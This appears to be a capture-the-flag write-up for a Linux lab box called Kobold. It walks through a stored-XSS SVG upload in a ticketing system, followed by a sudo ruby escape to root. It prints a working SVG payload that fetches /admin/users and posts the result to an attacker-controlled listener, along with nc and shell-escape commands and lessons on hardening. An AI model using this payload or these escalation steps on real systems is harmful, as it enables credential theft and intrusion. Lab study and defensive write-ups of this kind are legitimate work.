TL;DR
Kobold is a Linux box running a ticketing system that allows SVG uploads without sanitization. An SVG with embedded JavaScript fires when the admin views the attachment. The XSS makes an authenticated XHR request to /admin/users from the admin’s browser, exfiltrating the user list including SSH credentials. Log in via SSH, and sudo ruby escapes to root.
Recon
1. Port scan
$ nmap -Pn -sV -sC -p- --min-rate 1000 10.129.x.x
22/tcp open ssh OpenSSH 8.2p1
25/tcp open smtp Postfix smtpd
80/tcp open http Apache httpd 2.4.41
SMTP on 25 suggests email-based ticket notifications.
2. Web application
A ticketing system at port 80 allows:
- Creating tickets (no auth required)
- Uploading attachments to tickets
XSS via SVG Upload
3. Craft malicious SVG
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
<script type="text/javascript">
<![CDATA[
var xhr = new XMLHttpRequest();
xhr.open('GET', '/admin/users', true);
xhr.onload = function() {
var exfil = new XMLHttpRequest();
exfil.open('POST', 'http://10.10.14.x:9090/', true);
exfil.send(this.responseText);
};
xhr.send();
]]>
</script>
</svg>
Start a listener:
$ nc -lvnp 9090
4. Submit ticket with SVG attachment
Create a ticket, attach the SVG, and submit. The system emails the admin, who clicks through to view the ticket.
# nc listener receives:
POST / HTTP/1.1
Host: 10.10.14.x:9090
...
{"users":[{"id":1,"username":"admin","email":"admin@kobold.htb"},
{"id":2,"username":"sophie","ssh_password":"S0ph1e_pass!"}]}
5. SSH as sophie
$ ssh sophie@10.129.x.x
sophie@kobold:~$ cat user.txt
[user flag]
Privilege Escalation
6. sudo enumeration
sophie@kobold:~$ sudo -l
User sophie may run the following commands on kobold:
(ALL) NOPASSWD: /usr/bin/ruby
7. Ruby shell escape
sophie@kobold:~$ sudo ruby -e 'exec "/bin/bash"'
root@kobold:~# cat /root/root.txt
[root flag]
What’s actually broken
| # | Vulnerability | Severity |
|---|---|---|
| 1 | SVG upload without content sanitization (stored XSS) | High |
| 2 | Admin credentials stored in user-accessible API endpoint | Critical |
| 3 | XHR to /admin/users allowed from same-origin (CORS) | High |
| 4 | ruby in sudo rules | Critical |
Lessons learned
- SVG is code, not an image. SVG files can execute JavaScript in browser context. File upload endpoints must either: (1) strip
<script>and event handlers from SVG, (2) serve SVG withContent-Disposition: attachmentto prevent inline rendering, or (3) reject SVG entirely and re-encode images to safe formats like PNG. - Stored XSS with admin targets is high-severity. Regular XSS needs the victim to visit a crafted URL. Stored XSS in a ticket system fires automatically when any admin views the ticket — no phishing required. It’s effectively a CSRF with full JS execution.
- Admin APIs should validate who’s calling them. Even if
/admin/usersrequires session auth, an XSS payload runs in the admin’s browser context — same-origin allows the XHR. Backend must also check authorization per-action, not just per-session.
Decision archaeology
| Approach | Result | Pivot |
|---|---|---|
| Used SVG over HTML (if allowed) | SVG executes JS reliably across browsers when rendered inline | Worked on first try |
| Exfiltrated /admin/users data via XHR | HttpOnly blocked cookie steal; /admin/users ran in admin browser context | Got SSH credentials directly |
| Used nc listener over burp collaborator | Simpler setup for HTB environment | Reliable data capture |
| Tried direct document.cookie XSS exfil first | nc listener received POST with empty Cookie: header — HttpOnly flag blocked document.cookie; exfil payload captured zero-byte body | Switched to authenticated XHR: SVG script makes GET /admin/users with admin session cookie attached automatically; response exfiltrated successfully |